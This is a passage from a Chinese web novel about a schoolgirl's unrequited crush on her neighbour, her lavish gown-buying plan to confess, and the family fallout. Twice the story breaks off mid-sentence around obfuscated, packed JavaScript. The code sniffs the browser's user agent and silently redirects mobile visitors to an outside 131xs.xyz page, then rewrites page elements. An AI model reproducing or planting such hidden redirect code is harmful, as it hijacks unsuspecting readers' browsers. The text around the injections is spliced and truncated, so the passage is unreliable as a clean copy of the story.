向晚星仿佛是个柔弱可怜的小蘑菇,努力在周围这一群破坏力极大的动物中守护自己蓬松洁白的菌伞,避开滴着水的雨伞菜篮,躲开满是灰尘的鞋底,逃离盛满红油的酸辣粉和拉面。 不时还有各种微型和中型地震把她险些连根拔起--公交车的大转弯和急刹车。 她从车头一路躲到宽敞些的车尾,饶是费尽全力,依然变得皱巴巴的,像是被揉捏了的蓬松棉花糖:宽大的校服T恤上多出许多褶皱,裤子也不小心留下几道灰色痕迹,小白鞋也失去了光彩。 刚刚站定,向晚星顾不上什么,虚虚靠着塑料的车座位,从书包里拿出湿巾,一门心思去擦自己裤子上的褶皱,鞋上不小心碰到的灰黑。 公交车来了一个九十度大转弯,半蹲着的向晚星整个人这回真是被连根拔起,她的脑子里都是:不行,不能屁股落地!车厢好脏!裤子那里怎么洗呀!会被学校的人笑话一天的! 她连忙用手向后试图撑住自己,或者维护自己最后的尊严。 哪怕是洗手,也比洗裤子强! 向晚星都盘算好了:先撑住,然后以迅雷不及掩耳之势翻身,腾跃而起的同时捂住自己的脸。 幸运又不幸的是,她没有跌坐到地上,而是撞到了一个人。 一个熟人。 “你怎么在这里啊?”向晚星愣愣看着面前的洛望飞。 洛望飞把向晚星扶好之后撒了手让她自己站稳,“你是不是没睡醒,今天周四,我不上学我上哪儿去。” “你不是早就走了吗?”向晚星记得他六点就在楼下买早餐了。 “你怎么知道?”洛望飞垂眸瞧着她,乌黑的眼瞳让向晚星一阵心虚。 她要是说自己看见了,不就承认一直在窥伺他吗? 向晚星紧张起来,讪笑着说:“你没敲我门,我起来也没听见你动静。” 洛望飞闻言扫了一眼向晚星,似笑非笑地问:“你居然没有猜我是睡过头要迟到了吗?” 向晚星一颗心悬了起来,感觉脸上的笑容都挂不住了,强撑着回答:“嗯,因为我人美心善啊,好心去敲了你家门,结果没人应,猪都能叫醒了。” “真稀奇。”洛望飞笑起来。 向晚星感觉后背发凉,有一种被看穿的窘迫。 他还是发现了自己的衣服不对劲了吗?故意和他穿一样的,校服配运动裤,还偷偷观察他有没有上学。 向晚星越想越觉得自己已经是死路一条,准备破罐子破摔。 是啊是啊,我就是笨蛋一样地喜欢你。 她好不容易拿出孤注一掷的勇气,准备承认这份可笑的单恋,洛望飞却转头从书包一侧的口袋里拿出一个装着包子的塑料袋递给向晚星,“要不要?” 向晚星一时间没接过去,脑子里轰然一声:洛望飞这是特地给她买的吗? 可是这个念头刚刚浮现,向晚星自己又否定了:可是他也没有等她啊。 他轻轻咳了一下,侧头看着窗外,漫不经心道:“今天包子只剩这个口味了,我没胃口,你不要我带学校去给余亮了。” 可是你六点钟就在包子铺前面了啊。那个时候不可能卖光的。 向晚星望着他,咬着唇,想得到一个肯定的答案,又害怕得到一个彻底否定的答案。 洛望飞又晃了一下袋子,“你到底要不要?” “要。”向晚星把袋子接过来,小心翼翼把包子拿出来,咬了一口,愣了一下,悄然看了洛望飞一眼。 麻辣小龙虾口味的包子,她最近两个月的新欢,除了她根本没人买,所以包子铺老板每天就只会进三个,专门卖给她的,怎么可能剩下。 所以只剩下一种可能。 洛望飞去买早餐的时候包子铺老板认出来了,然后直接给他,让他带给向晚星。 这怎么不算是洛望飞专门给她买的早餐呢? 向晚星低头专心啃起早餐,感觉今天麻辣小龙虾的馅都成了白糖味的,咬下去全是甜的。 乐极总会生悲,一到教室,叶雪就盯着向晚 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整整一上午,叶雪都不时凑过来看着向晚星发出啧啧的赞赏,“好漂亮的小美人,腿长两米八呀”,“你稍微收拾一下就这么好看,要是打扮打扮,不得迷死个人,早就说了,你就该拿千金大小姐剧本,干嘛非得执着于灰姑娘呢。” 向晚星有气无力,偶尔答应一声,心思全在裤子上的红油印,即使午休时候偷偷去买了洗洁精去掉了油印,她还是开心不起来,总是觉得自己身上混着一股小龙虾和金桔洗洁精的味道,怪怪的。 叶雪劝了她几次,还故意叫了其他人问向晚星今天有什么变化,其他人要么回答没看出来,要么说今天向晚星好看了许多。 可是向晚星就是高兴不起来。 她也知道自己的问题出在哪里。 她热络而无望地爱着洛望飞。 单恋本就是一场盛大的庸人自扰。 再小不过的事情,只要沾上洛望飞,就像一把刀剑悬在她的头顶,使她辗转反复,乱了手脚,仿佛天塌地陷。 放学的时候,向晚星趴在座位上,看着自己的裤子,那里的痕迹其实已经几乎消失,但还有些浅浅的轮廓。 但她就是无法忽略。 于是洛望飞停在一班门口的时候,她没有说话,只是趴在位置上。 洛望飞开口叫她,她也只是把头埋进胳膊里,“你回去吧,我跟叶雪一起。” “哦。”洛望飞走得毫不犹豫。 周五的时候,向晚星故意磨磨蹭蹭到六点二十五出门,挤上了六点半的车。 但这次她没有看见洛望飞。 她慌慌忙忙跑过长廊,路过三班的教室,看见洛望飞坐在里面读书,也没有转头看她一眼。 倒是余亮瞧见了向晚星,跟她打了招呼,然后悄悄问洛望飞:“你们俩怎么不一块儿了?” 洛望飞拿着语文书,二十分钟过去也没有翻页,“她心野了,我哪管得着。” 余亮听了觉得奇怪,“怎么个野法?” 洛望飞把语文书立起来,挡住了余亮的视线,“你问她去,我不清楚、不知道,也不想知道。” 余亮耸了耸肩不再说话。 谁敢管向晚星那个姑奶奶啊,撒娇哭闹样样都行,谁碰上都得挨家长一顿收拾。 只是课间的时候,向晚星和叶雪路过三班教室,余亮一侧头就能看见向晚星头上的蝴蝶结发圈,忍不住“哇哦”一声,习惯性撞了撞洛望飞的胳膊,“她是挺不一样了,怎么感觉一下子兄弟变美女了,她是不是谈恋爱了,你知道谁吗?” 洛望飞把余亮的手甩开,“说了不知道,别烦我,向晚星的事情你问我干嘛。” 余亮终于发现了洛望飞似乎也不对劲,“你怎么了?” 洛望飞忍着生理性的恶心写着数学试卷,冷淡的声音里带着些势在必得的狠劲,“我看李彦不爽,不就是个第一,得瑟什么,我要把他踹下去。” 余亮抖了抖,不就是个篮球场的事情吗,至于这么记仇吗。 但是他不敢说。 洛望飞平时总是笑着的,难得冷了脸,动了真格,让人有些害怕。 余亮觉得,有什么大事在他不知道的情况下悄然发生,而他不仅一无所知,更无力阻挡。 连着两天,洛望飞路过一班门口,向晚星在位置上看到了,犹豫要不要开口的时候,他已经走了。 而她精心打扮路过三班门口,叶雪夸她,余亮夸她,很多人都看她,唯独洛望飞从未转头。 甚至有几次,向晚星看到洛望飞和宋惜说话,带着礼貌的浅笑。 她觉得自己在做无用功,又不甘心。 周六放学的时候,向晚星又去银行取了一笔钱。 她决定要买一件华丽的礼裙作为初恋的纪念,向洛望飞要一个确切点的答案。 礼裙华而不实,无法再穿第二次。 但是正好,暗恋本就是无法诉诸于人前。 12. 少女的告白 七夕这天,向晚星天没亮就醒了,躺在床上看着天花板,脑袋放空,听着窗外不时有车鸣,有人声,有猫狗的叫声。 手机叮咚叮咚响个不停,她没有看信息。 小说漫画堆在一边,她也没有翻开。 她只是安静地躺着,等待天光大亮,朝阳升起。 她不敢让自己的脑袋运转,她害怕自己退缩,害怕自己后悔。 勇气的天敌是理智和思考。 好不容易熬到八点,城市苏醒,向晚星慢吞吞从床上起来,穿了那套粉白色运动服,草草扎了个马尾,揣着巨款就出了家门。 路上遇见早餐店面的老板打招呼,向晚星也只是笑了笑,像是丢了魂一样茫然地向前走着,似乎完全没有听进去他们的话。 向晚星的家离市中心有相当一段距离,大概要走上40多分钟,原本16路公交可以直达,但是她路过几次公交站都没有停下,只是顶着朝阳在路上走着,像是一个朝圣者感受着召唤,以一种自苦的方式表达着她的虔诚。 她不敢让自己喘息,害怕丝毫的懈怠会让内心的畏惧探出头来。 八点半的时候,向晚星就到了市中心的千和里广场。 它的构造像是一张阴阳面具,左右两边以春明路为分界线,泾渭分明,截然不同。 左边是热闹拥挤的街边小店,花式的特价牌子挂在各种鲜亮颜色的店铺前,像是廉价奶油蛋糕上五彩缤纷的点缀,没有任何高级感,但对于青少年来说是致命吸引。 千和里的右边则完全不同,它非常地优雅而寂静,各种大牌的独立门店像是高门贵女一般,素雅大方,从容地立在寸土寸金的土地上,以喷泉或者花木作为彼此的分界,绝不肯让半点塑料制品出现在视野里。 它们不需要任何的宣传,只要在小楼前标上一个简单大方而又无人不知的logo,就足以傲视群英,逼退一干预算不足的学生党和普通人。 左边是普通人的现实生活,右边是言情小说的常客。 向晚星之前经常和朋友一起来左边的饮食街闲逛,大伙一起买几串烤面筋烤肉串烤土豆烤年糕,端着几碗臭豆腐双皮奶,然后互相到对方碗里舀一勺,张嘴随便叼一个烤串,在各种小彩灯下合影,然后在春明路的街边站着,安静地凝视着右边高贵冷艳的建筑物,幻想哪一天她们的对象会从右边的长街走出,然后上演那些令人尖叫不已的言情桥段。 从十四岁到十七岁,向晚星是最后一个开窍的,是其他人爱情的目睹者。 现实比小说狗血,却没有小说里的浪漫和破镜重圆,大多都是声嘶力竭,指甲断裂,血泪齐飞,没有体面的告别,只有撕破脸的谩骂和流不完的眼泪。 一起追爱情小说,一起坐在街边幻想爱情的少女们,最后只有向晚星还会来这里看着千和里的高奢街,只有她还会幻想,还会造梦。 洛望飞不会从右街捧着鲜花走出来,送给她漂亮的礼服,所以她自己来买。 她一定要一个漂亮的礼裙,盛大的仪式,美丽的花束,足以成为小说经典场景的画面,才配得上她的爱情,哪怕只是一场谢幕。 九点的时候,慵懒的右街终于苏醒。 向晚星捏了捏自己的巨款和手机,走过了春明路,推开了玻璃门,站在明亮的灯光下,迎着穿着黑白小西装的工作人员的目光中说:“请给我拿一件长裙。” 接待她的工作人员扫了一眼她身上的衣服,站在原地不动,皮笑肉不笑道:“小妹妹,你来错地方了,我们这儿不卖校服和学生装。” 向晚星的脸色被灯照得惨白。 小说里浪漫高雅的地方,原来内里也是如此世俗粗鄙,不讲礼貌,并没有高端到哪里去。 “我买得起。”向晚星推开了一个又一个的玻璃门,站在华丽的吊灯下,对着工作人员说,“我想要看最漂亮的裙子。” 有的无视她,有的嘲讽她,有的假装带路把她赶出门外。 到最后一家的时候,向晚星的心已经碎地七零八落,快要兜不住自己的眼泪,声音都变得沙哑,“我想看礼裙。” 店员看着向晚星稚嫩青涩的脸庞,又扫了扫她身上的平价运动服,“小妹妹,你一个人来的吗?” 向晚星点了点头,其他空闲的店员闻言散开,脑子里的想法和其他店差不多,一身平价运动服的女学生有什么购买力呢,是个麻烦。 她们都或多或少碰见过这样的顾客,试一大堆,挑三拣四,又买不起,拍完照就走人还算好的,最怕真心想买,花上好几个小时讲价甚至卖惨,得不到想要的结果就闹得鸡犬不宁。 接待向晚星的叫刘艳,是一名经验丰富的销售,自然也想到了这些,但并没有表露出什么,而是给了杯水,微笑着问:“你预算多少?想要什么款式呢?先和我说说,我再给你推荐。” 向晚星依依不舍地捏了捏口袋里的红色钞票们,和它们告别,然后拿了出来。 其他的店员顿时转过头来,憋不住事的轻轻说了句“卧槽。” 向晚星轻轻再补了一句,“不够的话,我卡里还有。” 刘艳沉默了片刻,懂事的同事已经拿了凳子给向晚星坐着,另外几个去拿了春夏款的裙子送到她面前,“方领短裙,清纯简单,去学校也能穿”,“粉红色蝴蝶袖长裙,活泼亮丽,只有你这种青春少女才能撑得起来。” 向晚星仿佛是被蜜蜂包围的娇花,耳朵边一片嗡嗡的嘈杂,有些听不清她们的话。 她认真看了看面前这些裙子,都很漂亮,但是不足以让她心动。 她想要更隆重,更华丽,更高贵的裙子,不需要日常,不需要耐穿,只需要适合用来告白。 “我想要特殊一点的裙子,因为我可能只会穿这一次,很重要的一次。”向晚星说出了自己梦中的那件白色裙子的模样,“我想要一条很蓬松的裙子,裙摆很宽大,像是盛开的花朵一样,然后裙摆很长很长,绣着许多的玫瑰花。” 几个店员面面相觑,刘艳沉思片刻,把手机拿出来,给她看了张图片,问她:“你想要这种吗?” 向晚星瞧见图片里的蓬松大白裙,想点头,又看见图片左下角两个字,腾地一下子红了脸。 【婚纱】 她极小声给自己解释:“因为电影里的女主角变身都是这种裙子,就是从灰姑娘变成公主。” 向晚星能很明显地感觉到面前的姐姐们看自己的目光变了,带着一种隐隐的笑意和感慨,仿佛在说:啊,真是年轻的小孩子啊。 向晚星硬着头皮继续说下去,“我马上十八岁了,我也想买一件这样的衣服,在成年礼上穿,所以就想华丽一点。” “好的,了解。”刘艳点点头,也不去问面前的小姑娘为什么会指定一条白色的裙子,又为什么会梦到鲜花和长裙摆。 十七八岁的女孩子啊,谁没有一个情窦初开。 初恋和成年礼都是人生中仅此一次的大事,理解,理解。 “电影里的裙子总是蓬蓬的是因为它们有骨架撑着,很重,婚纱也一样,看起来漂亮,穿起来很麻烦又沉重,回忆起来可不是一件美事。”刘艳把向晚星带到二楼去看更加华丽的礼裙。 刘艳拿了一件红色的裙子出来,把裙摆铺开,像是展开一柄折扇,“你看,这种裙摆也很长,足足有两米五,转一下,它就会在你身上盛开,垂着的时候也很好看,很大方,这个颜色也衬你。” 向晚星也喜欢这件裙子,但还是摇了摇头,“我想要白色的。” “一定要白色吗?”刘艳有些不理解,“你长相偏甜美,适合穿鲜亮的,白色有些闷。” 向晚星很坚持,“我喜欢白色,所以我想穿我喜欢的。” 所有的言情小说女主都是一袭白裙的,包括她喜欢的那些作家书里也会写一袭白色棉麻长裙。 这让向晚星天生对白色长裙有一种向往。 更何况,洛望飞提过,他喜欢的理想型,也是穿着白裙的文静女孩。 在纷繁的漂亮裙子面前,向晚星始终记得清楚她的目的:给自己的初恋一个谢幕,给洛望飞留下惊艳的一面。 所以,一定要是一条白色长裙,其他的都不可以。 她绝不动摇。 刘艳也不再劝,毕竟顾客就是上帝,她把店里的白色系裙子都给向晚星拿来,给她挑。 最后,向晚星选了一条长款的吊带花瓣纱裙,两条白色宽带从肩膀穿过背部,成为两朵蝴蝶停留在向晚星的腰际,一层垂坠感极为漂亮的真丝长裙作为内衬,像是牛奶倾泻一样顺滑,外面笼了一层雾一样的纱,上面点缀着浅粉色的花瓣。 它的名字叫做【倾吻】。 向晚星看着镜子里的自己,情不自禁把绑着的马尾松开,放了下来,让长发披散在肩头。 店员刘艳也适时走上来,帮助向晚星把头发整理了一下,“你眼光很不错,这个衣服挺适合你的,浑身上下都是一股仙气。” 向晚星直接把钱全给出去,怕不够,把卡也给了出去,买了单,但是全程避开了店员的收款流程,就连小票也不要。 她深知自己的习性,害怕自己一旦知道数字就会后悔。 买完衣服已经是中午,向晚星不敢吃饭,怕又弄脏了衣服,又去弄了个造型,把头发拉直,剪了一个齐刘海,特意叮嘱了理发师,要文静,要淑女。 头发弄完的时候已经是下午三点,向晚星滴水未尽。 紧接着,饿得饥肠辘辘的向晚星开始在右街物色自己的餐厅。 虽然她很喜欢家常菜,很喜欢热气腾腾的火锅。 但是小说里的浪漫都是西餐厅,烛光晚餐配着钢琴或者小提琴演奏。 但是这个城市实在条件有限,压根没有现场演奏的西餐厅,也没有什么82年的拉菲。 向晚星只能将就着,订了一家高层西餐厅的靠窗位置,又给了老板钱拜托他放一首浪漫的钢琴曲。 老板很懂事,还附赠了向晚星一个插着红玫瑰的玻璃瓶。 做完这一切,向晚星才想起一个致命问题。 怎么约洛望飞呢? 哦豁。 完蛋啦。 向晚星敲了敲自己的脑袋,又连忙把刘海梳理好,坐在位置上,冥思苦想,坐在窗边,拍了一张自拍照,然后发在空间里,仅洛望飞可见。 他看到了,应该会问一句吧。 向晚星忐忑不安地等待洛望飞看到自己照片的反应,像是在坐一辆过山车,缓慢而不安地上升,等着下坠。 他会是什么反应呢?说她漂亮吗?还是损她? 向晚星搓着手期待着,一次又一次告诉老板等等再上菜,她约的人还没有来。 终于,五点的时候,向晚星的手机发出叮咚的响声,她看到了洛望飞的评论【你谁?贞子?】 这一刻,向晚星真真切切感受到什么叫浑身发寒。 在他眼里,这样的自己,和鬼片里的贞子没有区别吗? 明知他可能是开玩笑,但是向晚星还是鼻尖一酸,视线被泪水模糊。 有人打来电话,向晚星接了,本以为是洛望飞,结果听到了母亲向兰的叹息:“初一,你喜欢的是十五吗?” 十五是洛望飞的小名,因为向晚星才有的小名。 向晚星是大年初一生的,于是小名叫初一,也讨个吉利万事顺遂的好兆头。 小时候起,洛望飞就和她不对付,有句俗话叫你做初一我做十五,于是本来是腊月二十六出生的洛望飞就自称十五,他家里的人也跟着叫十五。 两个人吵了许多年,闹了许多年,没人把他们俩凑一块儿。 向晚星不知道母亲怎么才到的,又不好意思问,只是抽抽噎噎地委屈答应了一声。 向兰又重重叹了口气,“其实,之前他就给我发信息说你有喜欢的人了,暗示我劝你一下。今天我收到了他发的一张照片,是穿着白裙子的初一,很漂亮的初一,一看就是给喜欢的人发的照片,我就明白了。” 向晚星不吭声,只是低头安静地咬着嘴唇哭,生怕母亲听到自己在哭。 所以其实洛望飞看到了她的照片,也懂了她的暗示。 他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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洛望飞愣了一会儿,不信邪,在各个平台上回了一个。 全部没有成功。 他被向晚星全部拉黑了,就连游戏里的好友和购物平台的集卡小组也没有漏掉。 向晚星还在单方面骂他,而他被剥夺了还口的权利。 洛望飞气得发笑。 过了很久之后,他才知道,这天晚上向晚星说的【我讨厌你】其实都是说不出口的【我喜欢你】。 而当时的他只觉得向晚星无理取闹,并没有多想,直接关了手机上床睡觉去了,也就错过了向晚星在一点钟的时候写的唯一一句真心话。 【洛望飞,你是个辜负真心的混蛋。】 这句话发出来之后向晚星很快又撤回,她担心洛望飞看到,又担心他没有看到。 这天晚上,向晚星一夜没睡。 她很早就起来去了学校,又穿上了宽大的校服。 叶雪看见了向晚星的打扮很是奇怪,“你干嘛又穿校服,前几天不是挺好的吗,大长腿小细腰的,多好的身材啊。” 向晚星摇了摇头,“没必要了。” 在视线余光里,向晚星看到宋惜一闪而过的身影,转过头去看了一会儿,有些不可置信。 “看啥呢?”叶雪问她。 向晚星张着嘴巴没有说话,看了许久的书,却没有翻动一页,脑子里全是一片空白。 宋惜也穿了一件白色长裙,腰际一个蝴蝶结,简单大方,和她的那件礼裙有那么六分相似。 真是太好了,向晚星暗自庆幸,她没有把礼裙的照片发出来,避免了撞衫的可能,也避免了被说学人精的尴尬。 毕竟宋惜来的第一天就是文静淑女,而向晚星才是和白裙格格不入的人。 大概大家只会嘲笑她吧,像是洛望飞那样。 课间的时候,向晚星还是忍不住路过了三班的教室,目不直视地走过,只是从视野的角落里瞥到洛望飞。 他果然有在和宋惜说话,笑得阳光灿烂。 “这种裙子是今年什么流行款式吗?到处都是。” “没有吧。”宋惜看着自己的衣服有些怀疑人生,“这种白色长裙挺少的,还挺贵的,我挑了很长时间,不可能撞衫吧。” 洛望飞不以为意“哦”了一声,“向晚星也有一件啊,又是花瓣又是蝴蝶,比你这个花里胡哨多了,看起来也挺贵的,那蝴蝶乍一看还以为是真的,花瓣也粉粉的,以假乱真。” 宋惜陷入了沉默。 不是,你告诉我干嘛呢? 你这样以后还让我怎么面对这条裙子呢? 宋惜郁闷地去写作业了,这话实在没法接。 余亮听见了纳闷:“她什么时候买了这种裙子?我怎么没见过她穿?” 洛望飞耸了耸肩:“不知道,她昨天发了个照片。” 余亮不信,拿出手机当着洛望飞的面点进了向晚星的空间,没找到照片,倒是看见了向晚星昨天半夜发的一条说说【我讨厌洛望飞】。 洛望飞脸上的笑没了,余亮也没心思找裙子的图片了,尴尬地把手机收起来,拍着洛望飞的肩膀,不知说什么好。 余亮坐在窗边,想等着向晚星再一次路过三班问下情况,可是向晚星再也没有走过三班的教室。 她为了避开洛望飞和宋惜谈笑的刺眼画面,宁可绕一大圈,先下到二楼走过长廊再上楼梯回到一班教室,送作业,上厕所,都这么绕远路。 就是为了避开洛望飞,避开宋惜,避开自己无望而疯涨不可自控的苦涩单恋。 就连上学下学,她也想好了。 向晚星给母亲发了信息,表示自己愿意搬到学校附近,租房子就可以了。 她要和洛望飞一刀两断。 万万没想到,向兰拜托了叶芝去物色房子,叶芝直接找了一个很宽敞的两居室,和向兰商量:“初一一个女孩子,一个人住的话有些不安全,她又要强,不肯说,这样吧,让我家那小子一起,搭个伙,两个小孩一起住,也好有个照应。” 13. 他怎么这么讨厌 向兰很为难,不知道该不该答应。 她自然是信得过洛望飞的人品,虽然他表面顽皮,但是实际上脾气很好,什么事情都不往心里去,懂礼貌知分寸,也很会照顾人,还是为数不多地精通家务的男孩子。 晚星正好与他相反,表面开朗大方又乖巧,其实内里是个很敏感的小孩子,认定了什么就一定要做到,想的又多又容易钻牛角尖,正好需要一个能陪着玩又包容的玩伴。 所以向晚星喜欢洛望飞,向兰其实也不是很意外,还有点乐见其成,毕竟自己看着长大的小孩,知根知底,当然比外面的男孩子强。 但是向晚星说洛望飞有喜欢的人,这就不太妙了。 深知自家女儿想象力丰富的向兰决定实际打探一下洛望飞的实际情况,开口对叶芝提议:“问问两个小孩的意见吧,他们也长大了,有自己的想法了,我们也不能什么都替他们定下,要是他们不乐意还要反过来抱怨我们,这么多年了,他们俩关系吵吵闹闹的,也没见好,凑一块儿也不知道会是一件好事还是坏事。” “怎么突然这么说?他们俩过家家似的,这么多年不都这样,能有什么大事。” 叶芝听出不对劲来,风风火火就杀向一中,嘴上还是谈笑的语气和向兰打探: “是不是臭小子又惹初一了,你说说,我保证收拾他,押着他去给初一道歉去。” 向兰把谈话的尺寸拿捏地非常好,家常闲聊,随口那么一说:“倒也没有,只是突然发现他们俩都十七八岁了,都快成年了,初一还跟我说十五在学校里挺受欢迎的,我就想着,他们确实也是要避嫌,免得别人误会。” “他们俩能有什么,要真说起来,那臭小子还配不上初一呢,一天天惹是生非的,哪有初一一半听话。”叶芝笑着回了一句,走到学校门口,瞧见从教学楼里出来的洛望飞和向晚星,挂了电话。 向晚星穿着校服,低着头不知道在想什么,一副文静乖巧好学生的样子,看着就顺眼。 她那个不省心的儿子拿着个篮球和一群人勾肩搭背的,笑个不停,左右说些游戏体育的事情,往坏处想,说不准在谈论女孩,聊着早恋的话题。 反正肯定不是学习。 叶芝瞧着就头疼,板着脸站在学校门口抱着手臂凉凉喊了一声洛望飞的全名。 一声不轻不重的呼唤,敲山震虎般,让几个勾肩搭背的少年顿时撒开了手,站直了,脸上挂着客气又谨慎的笑。 一阵稀稀落落的“阿姨好”后,他们便如飞鸟般散去,很快就只剩下洛望飞一个人面对冷笑着的叶芝。 洛望飞依然是那副松弛的懒散模样,笑着和板着脸的母亲大人聊天:“叶女士,别老板着脸啊,容易长皱纹。什么风把您吹过来了,难不成您来查我们学校上早自习的,那可太好了,快点取缔,给我减减负,每天起那么早,困死我了。” 叶芝对嬉皮笑脸的儿子空有一腔怒火发不出来,瞪了他一眼,没好气地说:“你想的倒是美,老老实实上学,别想那些有的没的。我在学校对面那小区找了个房,你收拾收拾搬进去。原本还想和向家商量搭个伙,结果人家不愿意,你自己说,你又干什么了?” “没干什么啊。”洛望飞转着手里的篮球,脸上的笑容愈发灿烂,语气极为欢快,透露着一股得意,“她早恋,被我抓住了,我就跟向姨说了。” “笑什么笑,这事儿有什么值得你得意的。”叶芝看着洛望飞,生出一股浓浓的恨铁不成钢。 都说近水楼台先得月,他怎么就死活不开窍。 “妈,早恋耶,你偏心向晚星也有个度好不好。”洛望飞简直无语至极,“我初中时候都没谈,就收个情书,你和我爸差点把我剥了皮,她早恋你还怪我拆姻缘,是不是太过分了点,谁是你亲生的啊。” 叶芝白了他一眼:“你初中那会儿才多大啊,就收情书收巧克力的。” 洛望飞扯了扯嘴角,面无表情地反驳,“妈,那会儿初中,就是过家家,能发生个什么,现在才危险好吗,十七八岁了,还是高三!她都去酒店了,我不拦着她都能被那傻缺哄着开房了。” 叶芝陡然严肃起来,“真的?你亲眼看到的?这事可不能开玩笑。” 洛望飞懒懒应了一声,语气恹恹,“她那图片定位都在市中心那豪庭酒店了,还能有假吗,还穿了一件白纱裙,配了一个玫瑰花。那按照您意思,我不该打电话通知向姨一声,还得祝她幸福美满早日结婚?” 叶芝一把将洛望飞推开,朝着向晚星快步走去,虽然心里闹腾,但是脸上还是挂着温和的笑,“初一啊,好久没来我们家吃饭了,阿姨今天炖了排骨,走吧,去阿姨家吃。” 路边的洛望飞悄然在心里吐槽:妈,她上次去咱家也就三四天前的事情,而且你都没买菜,哪里来的炖排骨,现在这个点,现买也来不及了吧,菜市场早就没排骨了,超市里的也不新鲜了。 但向晚星并没有发现叶芝的这个破绽,只是纯粹地想避开洛望飞,低头看着水泥地面,躲开和叶芝的对视,小声地拒绝:“阿姨,不用了,我和同学约了晚上一起吃饭的。” 叶芝眉头一皱,握着向晚星的胳膊不松手。 毕竟是从小看着长大的孩子,叶芝听说了向晚星谈恋爱,有种自家白菜被猪拱了的感觉,又听洛望飞这么一说,情不自禁对那个素未谋面的男生产生了一股不满和敌意。 向兰拜托她照顾初一,结果初一在她眼皮子底下被一个不靠谱的男孩哄到手,还去酒店了。 叶芝觉得自己要是不亲手拆了这桩姻缘,不教训一下那个臭小子,都对不起向兰这么多年叫她那一声叶姐。 “哪个同学啊?去外面吃饭多不健康啊,叫他一起来吃饭呗。阿姨今天做了大餐,正好吃不完,你交的朋友啊,也让阿姨见见。”叶芝一边笑着说出这句话,锐利的眼睛扫过从教学楼出来的学生,尤其是看向向晚星的男生。 那些男生陡然后背发凉,有一种被教导主任拿着教鞭抽打的恐惧感,本来要和向晚星打招呼,但刚靠近,就默默走远了。 向晚星自然也感受到了这股威慑力,像是被捏住后颈的小猫咪,低着头不敢动弹,也不敢吭声,等着叶芝的心情好一点,或者等一个人来救救她。 洛望飞站在一边,事不关己的模样,第一次发自内心地为叶芝女士的震慑力鼓掌,悠然地望着一班教室,期待李彦下来上演一出好戏。 等啊等,太阳沉入地平线之下,天空变成一片灰黑,洛望飞才看见李彦和叶雪一前一后出现,然后路过向晚星的身边。 叶雪还算讲点义气,上去和向晚星打了个招呼,问她怎么还不回去。 而李彦,看都没有看向晚星一眼,非常势利地走到叶芝面前,热络地和她打招呼问好,张口闭口一个“叶老师”,询问她过来干什么,有没有什么需要帮忙的。 直到叶芝握着向晚星的手说出她来接向晚星,李彦才恍然惊觉这里还有一个人,看了向晚星一眼,冷淡地仿佛今天才认识。 太狗腿了。 洛望飞忍不住发出嗤声,抬起下巴朝李彦说了一句:“你们不是一个班的吗,怎么看起来这么不熟啊,该不会在避嫌吧。” 李彦下意识地皱眉,为洛望飞的不礼貌打断而感到不快,无视了他的这句话,恭敬到谦卑地向叶芝弯腰点头,“没什么事的话,我先走了,叶老师再见。” 洛望飞耸了耸肩,朝着叶芝说了句,“叶女士,我记得你不就当了几年老师就调教育局了吗?什么时候这么多学生了,这同学一口一个老师的,还以为是你关门弟子呢。” “就你嘴皮子碎,人家这成绩是我学生我能高兴死,你看看你,怎么不能学学呢。”叶芝回头不轻不重骂了洛望飞一句,挥手和李彦告别,继续和叶雪聊天,查证向晚星的“早恋”是否属实。 叶芝专心盘问眼前这两个女孩,打定了主意要查出向晚星早恋的事情,而向晚星和叶雪齐齐接受着事无巨细的盘问,低着头,压根也没去注意李彦和洛望飞,也就没能看到李彦对洛望飞充满敌意的眼神。 他仿佛受了巨大的屈辱,一瞬不瞬望着洛望飞,脸上的肌肉紧绷起来,眼里尽是一片冷光,恨不得当初破口大骂,又紧紧闭着嘴巴忍耐着没有出声,只是拖着缓慢而沉重的脚步向前,在路过洛望飞的时候很小声说了一句“你也不过是个败家子而已,得意什么呢。” 洛望飞依然在笑,笑得漫不经心,轻松自在,转头和李彦对视的眼睛却是冷的,“李彦同学,你说什么呢,声音大点儿,我听不见,怎么跟个虫子一样嗡嗡的啊,是不是没吃饭啊,来我家吃啊。” 洛望飞歪着头,笑起来露出小虎牙,十分阳光开朗的模样,学着李彦一样压低了声音问他:“怎么有本事早恋没本事承认啊,我妈都在训你女朋友了,你不心疼的啊?” 李彦咬着牙,无时无刻不在提醒自己叶芝的职位有多高,此时绝不能失态,把一腔怒火尽数归于面前的洛望飞,却也不敢出声反驳,只能徒劳地,愤怒地,满是不甘心地看着嚣张的洛望飞。 又过了半个小时,叶芝把向晚星这一年的行程都盘清楚了,确认所谓的早恋只是一场乌龙后长舒一口气,心满意足,这才放了叶雪,拉着向晚星通知她租房的事情。 向晚星“啊”了一声,脑子发空,刚要拒绝,阿姨两个字刚刚说出口,瞧见叶芝微笑着看着她,方才被拷问的战栗重新涌上心头,连忙点头表示接受安排。 太可怕了,她再多说几句,估计就要被叶阿姨发现自己喜欢她儿子还惨遭拒绝这件事了。 只能接受长辈安排了,或者寄希望于洛望飞拒绝。 毕竟洛望飞那么不喜欢自己,他应该会拒绝 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|14984891|161159||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的吧。 向晚星满是忐忑地看向洛望飞,却发现他和李彦不知道在嘀咕什么,两个人都笑着,但是脸色算不上好看,感觉快要打起来了。 叶雪连忙冲上去把李彦拉走了,叶芝开口问洛望飞“你们俩聊什么呢?” 洛望飞转着手里的篮球笑了笑,“我告诉他,年级第一的位置我要了,让他小心点。” 